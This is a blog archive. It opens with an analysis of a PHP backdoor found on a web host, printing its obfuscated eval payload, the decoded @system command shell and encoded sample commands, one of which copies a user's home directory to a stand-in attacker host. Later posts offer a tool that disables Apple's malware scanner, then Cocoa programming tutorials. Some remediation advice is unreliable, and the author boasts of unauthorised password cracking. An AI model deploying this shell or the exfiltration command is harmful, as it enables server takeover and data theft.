A: We did. And this is what we found. Not a Virus. A Rat.

Sensitive reader Advisory:
This article goes into the details of a server-side RAT infestation, and will end by aforementioned RAT dissection. At the end, you will even be given the opportunity to TRY THE RAT yourself! (in the confined safety of our lab, of course)

1. Facts…

1. Viruses will infect your server (no matter how well protected you are).
2. If your server is online, you are at risk.
3. Viruses used to be silly malicious software that could damage your computer. Viruses are now clever malicious meanware that will hurt you and others on a large scale.
4. knowledge is power. If you know what is coming your way, you may be able to deflect the attack.

2. Reality Check

1. You (the honest website builder) only have the available tools to protect yourself. We will call that the shield. Them (the malicious hackers) are well aware of the shields you use, their strength, limitations, pitfalls and even bugs. They constantly use smarter, more advanced, distributed technology. Yes, eventually, a better sword will pierce your shield.
2. If you are the IT manager of a fortune 500 company, bother reading this article not. You already know what I am talking about, and the funds you ditch yearly in security exceeds my lifetime salary a few folds already. For the rest of us, who host our sites on one of the well known providers, it is a different story. Infections cross user accounts, enter via ways we, the host customer, have no defense.
3. Viruses plaguing servers have various intentions, generally stealing processor time, server’s bandwidth, server’s content, and, well, money.
4. Know how to identify a server virus. This is what this article is about.

3. What’s a RAT? (R.A.T.)

RAT stands for Remote Administration Tool.

It is a virus that knows no account limit, no time limit, no power limit. It is an incredibly small file, with incredibly little intelligence. Let me compare 3 classes of viruses to clarify that statement:

1. An old school Trojan is a malicious software which you would install yourself on you machine. It presents itself as a sheep, while it is a wolf. Once you run it, all hell breaks loose. Because you would install it yourself, a Trojan can be a rather large piece of software. You generally would know right away you are infected, only too late.
2. A traditional Virus is a small software which tucks itself inside another, otherwise harmless software. Hence the name Virus, which implies infecting larger applications (and hiding there), self replicating capabilities, and of course some malicious objective and often disastrous side effects.
3. a RAT is even smaller than a Virus. Think of it as an inert piece of DNA. It knows nothing, does nothing, can’t reproduce itself on its own. A RAT by itself is harmless. Launch it an nothing happens. Delete it and no harm is done.

4. Why is a RAT dangerous?

A RAT gives total control, I repeat, total control of your computer (i.e. the server) to a another computer, remotely. That remote computer may be located on Mars for all I know, and reproduce like rabbits, install new software, de-activate your virus protection software, delete files, snoop around, trace your activities, read all your information, etc.

Quick, think about something your server can do.
Yes, a RAT can do that too. And using your account credentials while it’s at it.

5. Will a RAT disable my computer?

Unlikely. The strength of a RAT is it’s stealth mode operation. Removing files, compromising your server mode of operation, or being discovered is probably the last thing a RAT will do. That would be a suicidal RAT, but in order to disable a system on a large scale, this is entirely conceivable.

Few secret agents wear the official secret agent outfit (dark glasses, cool hat, long coat, and newspaper to hide behind). RAT is no exception.

6. Will a RAT make unauthorized use of my server?

Likely. And others, too. It will send spam, trace transactions, and multiply discreetly. The more RAT around, the harder to eradicate.

7. Can I protect myself against a RAT?

If you host your own domain on your own system, possibly. This is beyond the scope of this article.

If you use an external host on a shared computer, this responsibility is shared between you and that host. Your responsibility is to keep your directories non writable when possible, and report suspect files, while the host’s responsibility is to take immediate action if an infection occurs.

Do not rely on that statement! The reason I am writing this article in the first place is that a national provider has been infected, and while we gave said host all information about the infection, their response was to change our FTP password, randomly, once a week.

Let me make that clear. Bleeding a patient rarely improves a fever.

8. What to do when infected?

1. rename the suspicious file right away. Do not delete it! If that file was not a RAT, you may permanently damage your own server! Renaming it will give you a chance to reactivate the offending file, if it was not a RAT after all.
2. Remove it’s executable permission. Native server RAT will be executable by definition, so that may be a valid method. Know that this may not be enough.
3. Move it to a different directory. Chances are the remote computer won’t find it, at least right away
4. ZIP it! A compressed RAT (or Virus, or Trojan) is, by definition, disabled.
5. Send that ZIP file to us for analysis ! (dev@thegothicparty.com). Time permits, we will look at it and suggest appropriate action.

I recommend renaming a potential RAT as your first line of defense.

9. A RAT dissection

I will spare you the gory details. Here is a step-by-step analysis of the remote access tool that infected <name withheld> national provider mentioned above.

9.1. File specifics

• Original virus name, as stored on the server:
  googlecalendar.php
  We had never installed googlecalendar in that well controlled environment, so the presence of that file was rather suspicious.
• Original virus content, when opened with a text editor:

  <?php $X=basename(__FILE__); $l="aWYoJF9QT1NUWyJsaW5rIl0peyRzdW0
  9c3Vic3RyKCRfUE9TVFsibGluayJdLCBzdHJsZW4oJF9QT1NUWyJsaW5rIl0pLTQ
  sc3RybGVuKCRfUE9TVFsibGluayJdKS0xKTsgaWYoJHN1bT0iMWpYIil7JGxpbms
  9YmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJsaW5rIl0sIDAsIHN0cmxlbig
  kX1BPU1RbImxpbmsiXSktNCkpOyBAc3lzdGVtKCRsaW5rKTt9fQ=="; eval(bas
  e64_decode($l)); ?>

9.2. aWYoJF9QT1N… etc. what? English please.

Substituting the stream of evidently obfuscated 276 characters by “obfuscated”, adding some formatting, and some comments:

<?php                         // Execute the following PHP script
    $X=basename(__FILE__);    // Store where we're at into $X
    $l="obfuscated";          // Put some {magic} into $l
    eval(                     // execute the {magic}
        base64_decode($l)     // decode "obfuscated"
    );
?>

The eval command is the danger here, and replacing eval by echo and merely executing the PHP script transforms “obfuscated” into this dangerous algorightm:

if($_POST["link"]){$sum=substr($_POST["link"], strlen($_POST["li
nk"])-4,strlen($_POST["link"])-1); if($sum="1jX"){$link=base64_d
ecode(substr($_POST["link"], 0, strlen($_POST["link"])-4)); @sys
tem($link);}}

Almost there!

9.3. Here is the formatted source code…

Reversed-engineered by our good people at the lab, conveniently indented and commented, it turns out to be a well written piece of code, which will execute without flaws. Dynamic commands can be generated remotely, executed by the RAT, and the results sent back to the originating organization.

if( $_POST["link"]) {  // Retrieve the link parameter in the URL
                       // In this RAT, it will look like this:
                       // {yourserver}/googlecalendar.php?link={magic}
    $sum=substr( $_POST["link"],
                 strlen($_POST["link"])-4,
                 strlen($_POST["link"])-1);
                       // extract a signature from <magic>
                       // It is made up of 3 characters at the end
    if( $sum="1jX") {
                       // If the signature matches, then decode it
                       // using MIME base64.
                       // Note that the hacker permanently hardcoded
                       // the signature as "1jx"
        $link=base64_decode( substr($_POST["link"],
                             0,
                             strlen($_POST["link"])-4));
                       // convert {magic} (minus the signature)
                       // into a command. There is no further
                       // verification that this command is valid.
        @system($link);
                       // use @ to suppress error, warnings and
                       // order the system to execute the command!
    }
}

9.4. How to find this virus on your system?

[~] grep -r "base64_decode" .

RAT – Dead.

10. Experiment with the RAT

Disclaimer: The RAT you are about to try is, well, in a coma. It will analyze the parameters you are sending, and stop short of executing the command. The result will be displayed in a new window. Neither you nor the server hosting thegothicparty.com is at risk.

10.1. Here are some RAT commands ready to try:

1. bHMgLWFs1jx=
   (List the content of the current directory)
2. Y2htb2QgIHggZmlsZQ==1jx=
   (Make a file executable, so it can be run)
3. c2NwIC1yIH4gdGhpZWZAc29tZS5sb2NhdGlvbi5vbi5tYXJz1jx=
   (Copy the entire user directory to a remote location)

10.2. Create your own RAT commands and try them out!

Use this URL to create a Linux command, encode it in base 64, add the password, and then feed the result to the RAT!

1. Substitute {your-command} by, well, your command.

   http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/base64.php?raw={your-command}

2. Now that you have an encoded command, us it to invoke the RAT

   http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/rat.php?link={encoded-command}

If you succeed, you will get to a page that says “@system(do-something-horrible)”, which in the original RAT could have had disastrous effects. Good thing you are in the lab!

This makes you a hacker, I think…

11. About the Author

I have written shield and swords for as long as I have been developing software. In reverse order, here are some interesting swords:

1. Cracked some authentication method used by <name withheld> convention, and came out with about 70 free passes overnight. Paid full price for the entry fee, then re-entered <name withheld> convention with one of the free code, and proceeded to distribute my resume to security companies in order to land a job as a legal hacker, finding cracks in their system in order to improve it. Some simply kicked me out of their stand, some were both intimidated and scared, and no-one called me back.
2. Cracked the user’s password for <name withheld> who had lost access to his online service information. Connected a computer to his network, made my computer act as a host (to which his computer blindly trusted), led his software think it was communicating with a distant server.
3. Cracked the administrative password for <name withheld>, an accounting software, while the company’s accountant had been fired and was nowhere to be found. Created 2 new fresh installation of said software, with 2 carefully chosen set of data, and diff’ed the two. The password was the name of his girfriend, and the company that ordered the work never paid as promised.
4. Cracked some other <name withheld> applications which are too sensitive to reveal here.

And here is a list of the most famous shields I wrote:

1. <name withheld>
2. <name withheld>
3. etc.

While the Dashboard is a handy utility, reminiscent of Apple Desk Accessories and strongly inspired from Konfabulator, you can’t quit the darn thing. Until now(*).

1. What is Mac OS X Kill Dashboard

Kill Dashboard is a clever utility that will reclaim your memory and your processor cycles, save on electric bill and battery usage. Dashboard starts quickly enough, I do not see the point of keeping it around when unused, wasting energy and resources away.

• To kill the Dashboard, click on Kill Dashboard from the Dock.
• To open the Dashboard, use your current favorite method.

 

2. Kill Dashboard Download.

Unlike the legendary iPhone and iPad Apps available from TheGothicParty, Kill Dashboard is free. Download now, enjoy, and post a comment.

Tech talk:

• The size of the installer is 106938 bytes (104K)
• The MD5 checksum of the installer Kill Dashboard v1.0.dmgis

  83adaf49b68620fead537f03000519a9

• The source code is available under GPL on Assembla

 

3. Installation Instruction

Drag and drop!
Kill Dashboard is a Mac OS X Application.

My recommendation is to place Kill Dashboard either to the right of the Dashboard in the Dock (as shown below), or replacing it entirely.

System Requirements:

• Mac OS X version 10.4, 10.5, 10.6 or higher

 

(*) There is this Dashboard Widget which allows you to quit it. Good if you want to launch the Dashboard to make sure it quits. A bit like sawing the branch upon which you are sitting, I suppose.

Q: ”I installed the Apple Security Update that was made available today. Now, I have constant high CPU from a process called ‘MRT’.”

Short Answer: Use MRT Removal Tool. Problem solved.

Long Answer:  Mac OS X version 10.6.7, together with Security Update 2011-003 or Mac OS X version 10.6.8 come with a new crawling software named Malware Removal Tool, MRT for short. On some computers, MRT consumes a staggering amount of resources, causing the the machine to become unresponsive, the battery to drain, the computer to overheat, and pretty much come to a halt. This apparently affects the MacBook Pro particularly badly.

See discussions.apple.com about others rather unhappy about the MRT. I have added my own comments below.
Read reviews.cnet.com and bannediphone.com for further development.

 

1. Introducing MRT Removal Tool

Malware Removal Tool removal tool (MRT Removal Tool for short) is a simple utility that permanently disconnect Apple’s MRT. Run it once ; you are done.
Until the next software update, I suppose.

A note of caution:

1. There is no way to reconnect Apple’s MRT, once you run MRT Removal Tool.
2. MRT Removal Tool comes with the usual guaranties when it comes to software: none.
3. Because Apple’s MRT is tucked away in the OS, you will need to enter your password.
4. Do not trust any old software with your password. Only MRT Removal Tool available at this location can be trusted.

 

2. What is Apple Malware Removal Tool (MRT) anyway?

Beats me(*).
All I can see is that it is very actively scanning my hard drive for content, not informing me (the user) about it’s intentions, what it’s looking for, what is sent back to Apple, nor any action taken.

This may be paranoia, but atop using up to 95% of my computer power and bringing it to a halt (my mouse was barely responding), I can’t even remember when I last had a virus on OS 9. I vividly remember when I last had a virus on OS X: never.

If you share that opinion, then MRT-rt is for you. Otherwise, I suggest to go back to the search engine and proceed to further investigations.

Unlike the mostly invisible Apple MRT for the rest of us (no notification in the Dock, no little flashy icon in the menu bar, no confirmation message) MRT Removal Tool is an application you can launch yourself. On an ironic note, I wonder if the next version of MRT will remove MRT-rt ; in which case I guess I can always come up with an MRT-rt-rt !

(*) Well, not entirely. It has its value, like hunting down trojans such as MacDefender. However, it seems to do so in a coarse, inefficient and brute-force manner, not unlike early versions of Spotlight. So if you have been fooled by trojans in the past, you may want to bite the bullet and not remove MRT. What saved you once may save you again!

 

3. MRT Removal Tool Download.

Unlike some other great software available from TheGothicParty, Malware Removal Tool removal tool is free. Download now, and post a comment.

Tech talk:

• The size of the installer is 96684 bytes (94K)
• The MD5 checksum of the installer Malware Removal Tool removal tool.dmgis

  614581f1286833b7f001fac6cdee92f2

• The source code is available under GPL on Assembla

 

4. Installation Instruction

There is no need to install it per say.
You can run MRT Removal Tool directly from the Disk Image. No need to drag it anywhere or even to keep it around. It needs to run but once, and will not install anything on your hard drive. Double-click, enter your password, you are done. Restart, and MRT begone.

System Requirements:

• Mac OS X version 10.6.7, together with Security Update 2011-003
• Mac OS X version 10.6.8

 

When I take an airplane, I cannot help but think of all the poor programming practices I have witnessed -some committed by myself- over the years. I often wonder if the on-board computers have been programmed by my earlier engineering peers.

1. A short Object Oriented Programming Refresher

1.1 Object Inheritance

Say you have three classes. An airplane, a commercial airliner and a private jet. We can all agree that both the jet and the airliner are kinds of airplanes.

This is the basis of object-oriented development. You model abstract objects after entities in the real world.

1.2. Object Properties

Say that an airplane has landing gear, I reckon all airplanes have landing gear. Assuming we are not discussing here the very specific case of hydroplanes, the gear (at least a generic one) should probably belong to the airplane object.

1.3. Inherited Properties

So in the real world, having landing gear is not particularly specific to the private jet or the commercial airliner. Being fitted with landing gear, retractable or not, is general to all airplanes.

1.4. Class Members

The landing gear, in itself, can be a pretty complex device.

1. Member variables

   It has members that remember states, such as stowed away vs. ready for landing.
   Example: isReady

2. Member methods

   It also has functions, which generally, but not always, will change its state. Such functions can be deploy vs. stow.

   Example: Deploy()

This is where encapsulating functionality into an object starts to make a lot of sense. You need not to know the specifics of how a mechanism (or an algorithm) is implemented. You only need to know how to invoke it: in this example, it’s Deploy().

1.5. Delegate Behavior

In this simplified model, it matters not which kind of airplane you fly. All you need to do is to flip a switch to initiate the landing procedure, and the airplane object just “knows” what to do.

1.6. Larger Picture

2. A Programming Error Crash Course: Dont’ fly with those!

I have gathered below a few errors I have seen in the past. Do not try this at home!

2.1. public static


BAD:
// Whenever needed
if( nil == Airplane.staticLandingGear) {
    Airplane.staticLandingGear = create an instance of LandingGear
}

... followed somewhere upon destruction of the object:

// Upon desctruction of the creator
if( nil != Airplane.staticLandingGear) {
    delete Airplane.staticLandingGear;
    Airplane.staticLandingGear = nil;
}


While this may look proper at first glance, and possibly even work depending on the situation, I have seen this code create havoc when placed in the “Private Jet” or “Commercial Airliner” sub-class. Create more than one plane and you have a disaster.

BETTER:
// Whenever needed
aLandingGear = Airplane.getLandingGear();

getLandingGear()
{
    // Ensures only one LandingGear instance exists
    if( nil == staticLandingGear) {
        staticLandingGear = create a unique instance of LandingGear
    }
    return staticLandingGear;
}

1. Problem:

   More than one object may destroy the public static variable

2. Suggestion:

   Use a singleton and a private static.

2.2. silent error

BAD:
if( nil != aLandingGear) {
    aLandingGear.Deploy();
}

Defensive programming has it’s price. In this case, the software will not crash if the LandingGear object does not exist. Good.
Conversely, the plane will crash because no landing gear has been deployed. Bad.
This situation could have been detected early on if the software had not failed silently during the development phase, before it was deployed.

BETTER:
assert( aLandingGear); // Will alert QA that something went terribly wrong
if( nil != aLandingGear) {
    aLandingGear.Deploy();
} else {
    // Something is terribly wrong and we should not be there
    startEmergencyProcedure();
}

1. Problem:

   Failure goes undetected and unreported during development

2. Suggestion:

   Use assert() and error_log() to report unexpected conditions

2.3. uninitialized object

For this example, assume that the landing gear needs to be connected to an airplane.

BAD:
if( ! aLandingGear) {
    aLandingGear = new LandingGear();
}
// The app will not crash, because aLandingGear exists
aLandingGear->Deploy(); // Will do nothing. Plane will crash!


If an object MUST be initialized, one possibility is to make the default constructor private

BETTER:
if( ! aLandingGear) {
    aLandingGear = new LandingGear( anAirplane);
}


1. Problem:

   Failure to initialize an object

2. Suggestion:

   Make constructor private to force the use of proper initializer, otherwise source code will not compile in the first place.

2.4. A bug? Which bug? I didn’t see a bug.

I will conclude with my favorite quote from an engineer with whom I do not share the view. I can see the benefits and even possibly some logic behind it, but this is why I hate to fly.

If a bug cannot occur, it is not a bug.

W.W.

I guess that I am not inclined to take the risk; a condition could have been overlooked, or simply created at a later maintenance stage. New situations will arise as the software evolves, and code that was once safe may be misunderstood and misused. From the same engineer, I’ve also heard this:

W.W.

No comment.

Bookmark this on Delicious

Instruments has built-in tools to isolate true leaks (lost blocks) but can also be used to locate memory loss. While this session references iPhone OS 3.1.3, it can be generalized: only the example is specific, not the concept.

…as an engineer, I tend to differ: if every time I invoked a library API, I’d loose roughly 1 megabyte of RAM, I’d soon be running out of memory. I will also argue that, since this memory “cache” is neither documented nor explicitly reported it is, for all purposes, a leak(*).

(*) A leak is a lost block. But not all lost blocks qualify as leaks. This article focuses on the ones that don’t. Just like leaks, these lost blocks are consuming memory space. That space is generally not reclaimed until the host application quits.

1. Launch Instruments

From XCode, launch your application using “Object Allocations”
For this tutorial, we are not using Leaks Instrument Template. While Leaks is very effective against true leaks, it is oblivious to retained but forgotten objects, over-retained objects, or poor API implementation.

2. Run your application

In this example, only 32 seconds (about 0.54 minutes in Instruments notation) were needed to expose the unexpected memory usage.

It is a good idea to be generous in early scoping of memory usage, since it will fluctuate. For the purpose of this tutorial, this preliminary analysis phase has been skipped entirely.

3. Stop the Application execution

It has been established during other sessions that the particular memory consumption we are studying does not change during the lifetime of this application. Stopping it after 34 seconds.

Instruments can start/stop/save/restore sessions, which makes it invaluable to compare the program behavior before/after alterations.

4. Objects Created and Still Living

Focus on the objects that have been allocated, but not de-allocated.

Obviously, objects created but no longer living have been de-allocated, and are not of particular interest while searching for leaks.

5. Observe the Object Allocation Graph

Looking at the graph, it is easy to spot sudden memory allocation. For increased granularity, reduce the “Inspection Range”.

The Inspection Range will reduce the number of items present in the Diagram View below.

6. Set the View mode to Diagram View

7. Navigate the Diagram View

This is a very handy feature of Instruments. By sliding or dragging the time line cursor, the Diagram View selection will scroll accordingly. By bringing the triangular cursor precisely over the edge of the sharp raise of memory usage around the 0.54 min (32.5 seconds) area, one discovers pages and pages of a repeated call to -[NSDateFormatter getObjectValue:forString:range:error:]

8. Focus on the Diagram View

Observing the Diagram View, sorted either by “Responsible Caller” or by “Creation Time”, one can see the repeated invocation to the same NSDateFormatter method.

9. Call Stack

Turn on the call stack view (Extended Detail View)

10. Final analysis

By selecting a single line in the Diagram View, and inspecting the corresponding call stack in the Extended Detail View, one can focus on a single invocation and, hopefully, isolate the code responsible for the memory allocation. A double-click will jump to the source code, if available.

For example, +[Manager dateFromString] is the method responsible for invoking the suspicious NSDateFormatter -dateFromString selector.

Two facts will attract our attention:

1. There are pages upon pages of NSDateFormatter invocations, all grouped together when sorted by Responsible Caller.
2. When sorted by Creation Time, about 8000 invocations to NSDateFormatter take place within the same 100 ms.

When looked at closely, this study lead to a decision to not use NSDateFormatter time zones, which turned out to be the culprit.

11. Related links

• NSFormatter memory leak
• Wikipedia article about memory leak

Bookmark this on Delicious

I ran into the same situation, with very similar leak sizes to the ones reported on that article. Instruments shows that 868 Kb (889520 bytes to be exact) are allocated by Cocoa on iPhone OS (verified from 2.x to 3.x up to 3.1.3).

1. Z Offending Code

The objective of this method is to convert a string into a date.
Note that I do invoke -release on the NSDateFormatter object, and that the newly created NSDate is destroyed when the NSAutoreleasePool is drained. This is not where the problem lies.

NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];
[dateFormatter setTimeZone:[ NSTimeZone timeZoneWithName:@"GMT"]];
[dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss z"];
[dateFormatter setLenient:YES];
{
    NSAutoreleasePool* pool = [[NSAutoreleasePool alloc] init];
    NSDate *testDate = [dateFormatter dateFromString:string]; // <- Allocates 868 Kb
    // Do something with testDate
    [pool drain];
}
[dateFormatter release];


2. Discussion

It appears that this is caused by the z option in setDateFormat.
My guess is that Cocoa allocates exactly 8618 time-zone related objects that live in memory for the duration of the application.
I do not know of any workaround, other than not using the “z” option.
[ dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss"];

3. Instruments log

Here is the allocation log for the first 3 of the 8618 objects, allocated all at once by a single invocation to dateFromString. Without going into too much details, suffice it to say that I used “Created & Still Living” option in “Allocation Lifespan”, and that the “Extended Detail” view in Instruments shows that all those objects are created back to back as the result of the CoreFoundation CFDateFormatterGetAbsoluteTimeFromString method.

<span style="color: #888888;">

<table border="0">
<tbody>
<tr>
<td><strong>#</strong></td>
<td><strong>Address</strong></td>
<td><strong>Category</strong></td>
<td><strong>Time</strong></td>
<td><strong>Size</strong></td>
<td><strong>Library</strong></td>
<td><strong>Caller</strong></td>
</tr>
<tr>
<td>2280</td>
<td>0xa20be00</td>
<td>GeneralBlock-32</td>
<td>01:07.742</td>
<td>32</td>
<td>Foundation</td>
<td>-[NSDateFormatter getObjectValue:forString:range:error:]</td>
</tr>
<tr>
<td>2281</td>
<td>0xa219670</td>
<td>GeneralBlock-176</td>
<td>01:07.833</td>
<td>176</td>
<td>Foundation</td>
<td>-[NSDateFormatter getObjectValue:forString:range:error:]</td>
</tr>
<tr>
<td>2282</td>
<td>0xa298db0</td>
<td>GeneralBlock-48</td>
<td>01:07.833</td>
<td>48</td>
<td>Foundation</td>
<td>-[NSDateFormatter getObjectValue:forString:range:error:]</td>
</tr>
</tbody>
</table></span>

4. All 8618 Objects

The entire log (8618 entries) can be viewed here.

5. Conclusion

The StackOverflow.com positively isolates the problem and the workaround. Do not use setDateFormat:@”EEE, d MMM yyyy HH:mm:ss z“, unless you are willing to loose 868 Kb for the rest of the lifetime of the application. The alternative is to not use the time zone which is, I agree, a pain: setDateFormat:@”EEE, d MMM yyyy HH:mm:ss”.

A possible approach is to test the string against ” GMT”, and to only invoke “z” when not in GMT:

NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];
[dateFormatter setTimeZone:[NSTimeZone timeZoneWithName:@"GMT"]];
if( ![string hasSuffix:@" GMT"]) {
    // If the string is not GMT, we must use time zone
    [dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss z"];
} else {
    [dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss"];
}


As of today’s date iPhone GB cost, your user either $0.005 or $0.01, depending on which device she or he bought.

6. External Links

• stackoverflow.com
  http://stackoverflow.com/questions/1117263/instruments-leaks-and-nsdateformatter
• Developer.apple.com
  Your tracking number for this issue is Bug ID# 7745113

Bookmark this on Delicious

Summary

1. Preventing over-release
2. [ -retain & -release] vs. [ -autorelease]
3. Circumventing -autorelease
4. NSAutoreleasePool is a stack object
5. NSAutoreleasePool pseudo-code
6. [pool release] vs. [pool drain]
7. External links

1. Preventing over-release

There seem to be some unpredictable stability behavior with objects that are released more than once (objects for which the -retainCount drops below 1). At times, some objects sent too many [ release ] will fail silently, whereas occasionally the host application will crash.

An application must balance the number of -retain and -release sent to a NSObject.

<code>SomeObject * myObj = [[SomeObject <span style="color: #333399;">alloc</span>] <span style="color: #333399;">init</span>];
...
[myObj <span style="color: #333399;">release</span>];</code>

To a certain extent, it would be better if over-release would never crash (akin to [ nil release ]) or always crash, thus not hiding bugs during the development stage. The combination of NSZombie and malloc_history is a wonderful tool to debug over-releasing. Read “Debugging Autorelease” on CocoaDev:
http://www.cocoadev.com/index.pl?DebuggingAutorelease

2. [ -retain & -release] vs. [ -autorelease]

Sending -autorelease to an object allows to literally forget about it. [ someObject -autorelease] ensures that someObject with a -retainCount of 1 will remain retained for the life of the NSAutoreleasePool it belongs to, and will receive a -release message when such pool receives -drain or -release. Generally, the question is “Which NSAutoreleasePool ?”. While the answer is “The most nested one, Sir.”, not knowing may lead to surprising behaviors. A defensive approach may be to only create only one NSAutoreleasePool for the entire duration of the application, but this is certainly a costly and rarely practical answer.

-autorelease, contrarily to -release, can be invoked more than once without ill effects.

For some reason, once an object received the -autorelease message, the operation cannot be undone. There is no -unautorelease message. Nor is there a way to tell the NSAutoreleasePool to just forget about that object.

This can lead to the following situations:

1. Preventing to save/release memory occupied by a given object
2. Preventing to delete that object at all before deleting the NSAutoreleasePool (sending one-too-many -release will cause the NSAutoreleasePool to send a -release to an already deallocated object, and crash)
3. Preventing the deletion of a given NSAutoreleasePool, since one cannot know what’s in it.

Following design patterns while being aware of these limitations is generally not a problem. A suggested approach is to use small scopes with local NSAutoreleasePool any time granularity can be achieved. In Cocoa, Threads do just that.

<code>{
<span style="color: #800080;">    NSAutoreleasePool</span> * pool = [[<span style="color: #800080;">NSAutoreleasePool</span> <span style="color: #333399;">alloc</span>] <span style="color: #333399;">init</span>];
    SomeObject * myObj = [[SomeObject <span style="color: #333399;">alloc</span>] <span style="color: #333399;">init</span>];
    [myObj <span style="color: #333399;">autorelease</span>]; <span style="color: #008000;">// No need to remember about that object</span>
    ...
    [pool <span style="color: #333399;">drain</span>];
}</code>

3. Circumventing -autorelease

Unfortunately, some Cocoa routines will, without a choice, drop objects it creates in the current NSAutoreleasePool.
Example:

<code><span style="color: #800080;">UIImage</span> * newImage = [<span style="color: #800080;">UIImage</span> <span style="color: #333399;">imageWithCGImage</span>:some_CGImageRef];</code>

As a result, the caller has little or no control of when the new object will be destroyed. It will likely be deallocated when the NSAutoreleasePool to which it belongs is deallocated, which is generally not predictable.

The NSAutoreleasePool seems to be nothing more than a linked list which sends a -release message to all objects it contains (regardless of their state) upon drain. In a managed memory environment, the pseudo-code of NSAutoreleasePool -drain could be simplified like this:

<code>-(<span style="color: #800080;">void</span>) drain {
    [autoreleasePool <span style="color: #333399;">release</span>];
}
</code>

Objects that for which the -retainCount is greater than 1 after the -drain will thus not be released. One can take an object out of a pool by retaining it, then releasing the pool entirely. Such object will be effectively removed from the NSAutoreleasePool.
Example:

<code><span style="color: #800080;">UIImage</span> * newImage = <span style="color: #800080;">nil</span>;
{
<span style="color: #800080;">    NSAutoreleasePool</span> * pool = [[<span style="color: #800080;">NSAutoreleasePool</span> <span style="color: #333399;">alloc</span>] <span style="color: #333399;">init</span>];
    newImage = [[<span style="color: #800080;">UIImage</span> <span style="color: #333399;">imageWithCGImage</span>:some_CGImageRef] <span style="color: #333399;">retain</span>];
    [pool <span style="color: #333399;">drain</span>];
}
<span style="color: #008000;">// The  newImage* is now outside of the pool, and retained normally</span></code>

An example of this technique can be found on Björn Sållarp’s article “UIImage with round corners”:
http://blog.sallarp.com/iphone-uiimage-round-corners

Note that in the example above, a special scope has been declared around the NSAutoreleasePool creation and destruction. This is good practice since the pool is actually a stack object, and must be created and released in the same { }. Please read on.

4. NSAutoreleasePool is a stack object

By nature, an NSAutoreleasePool instance is stored on the stack (as opposed to the heap). As a direct consequence, the scope of these pools, and ultimately of the objects they reference, are tightly coupled with the methods that created them. Even though the pools (just like the invocation of methods) are nested, there is no virtual stack of NSAutorelease pools.

As the method that created a given pool goes out of scope, so does that very pool, and all the objects referenced by it will receive a single -release message. For an object to survive a pool drain, it must be explicitly retained. See paragraph 3, Circumventing -Autorelease.

Being a stack object also makes it illegal to create an NSAutoreleasePool instance in a method, and to release it in another. This reason alone can serve as a good motivation for creating small, local and  nested NSAutoreleasePool rather than one gigantic one for the life of the Thread.

5. NSAutoreleasePool pseudo-code

In a managed memory environment, the NSAutoreleasePool acts pretty much like a NSArray. The pool maintains strong references to its content. Objects added to the pool receive a -retain message.

Possible pseudo-code for NSAutoreleasePool

<code>
<span style="color: #008000;"> // .h</span>
<span style="color: #800080;">@interface</span> NSAutoreleasePool2 : NSObject {
<span style="color: #800080;">@private</span>
<span style="color: #800080;">    NSMutableArray</span> * autoreleasePool;
}
-(<span style="color: #800080;">void</span>) drain;
-(<span style="color: #800080;">void</span>) addObject:(<span style="color: #800080;">id</span>)anObject;
-(<span style="color: #800080;">id</span>) autoreleaseObject:(<span style="color: #800080;">id</span>)anObject;
<span style="color: #800080;">@end</span>

<span style="color: #008000;">// .m</span>
<span style="color: #800080;">@implementation</span> NSAutoreleasePool2
-(<span style="color: #800080;">id</span>)init {
<span style="color: #800080;">    if</span> ((<span style="color: #800080;">self</span> = [<span style="color: #800080;">super</span> <span style="color: #333399;">init</span>] ) != <span style="color: #800080;">nil</span> ) {
        autoreleasePool = [[<span style="color: #800080;">NSMutableArray</span> <span style="color: #333399;">alloc</span>] <span style="color: #333399;">init</span>];
    }
<span style="color: #800080;">    return</span> <span style="color: #800080;">self</span>;
}
-(<span style="color: #800080;">void</span>) dealloc {
    [<span style="color: #800080;">self</span> <span style="color: #333399;">drain</span>];
    [<span style="color: #800080;">super</span> <span style="color: #333399;">dealloc</span>];
}
-(<span style="color: #800080;">void</span>) drain {
    [autoreleasePool <span style="color: #333399;">release</span>];
}
-(<span style="color: #800080;">void</span>) addObject:(<span style="color: #800080;">id</span>)anObject {
    [autoreleasePool <span style="color: #333399;">addObjec</span>t:anObject];
}
-(<span style="color: #800080;">id</span>) autoreleaseObject:(<span style="color: #800080;">id</span>)anObject {
<span style="color: #800080;">    if</span>( ! [autoreleasePool <span style="color: #333399;">containsObject</span>:anObject]) {
        [<span style="color: #800080;">self</span> <span style="color: #333399;">addObject</span>:anObject];
    }
<span style="color: #800080;">    return</span> anObject;
}
<span style="color: #800080;">@end</span>
</code>

Discussion

This is pseudo-code, not actual NSAutoreleasePool source code.
Objects must be added explicitly to this pool (using [pool autoreleaseObject:someObject ]; instead of [someObject autorelease];)
-autoreleaseObject is lenient, and will not penalize objects added more than once.
-addObject is strict ; objects added more than once will receive -release more than once.
-drain and -release do not have the same behavior. This pseudo-code expects an invocation to [pool release ] rather than [pool drain ] to free the NSAutoReleasePool2.

6. [pool release] vs. [pool drain]

In a reference-counted environment sending -release or -drain to a NSAutoreleasePool has the same effect.

In a garbage-collection environment, without NSAutoreleasePool, -release has no effect while -drain triggers garbage collection. For this reason, the developer documentation explicitly recommends using  -drain, since it has a meaning in both management models, even on iPhone.

Read more about NSAutoreleasePool -drain on Apple’s developer site:
http://developer.apple.com/mac/library/documentation/cocoa/reference/Foundation/Classes/NSAutoreleasePool_Class/Reference/Reference.html

7. External links

• http://www.cocoadev.com/index.pl?DebuggingAutorelease
• http://blog.sallarp.com/iphone-uiimage-round-corners/
• http://developer.apple.com/…/NSAutoreleasePool_Class/…

Bookmark this on Delicious

Mission Statement:
Post software development insights as I come across them.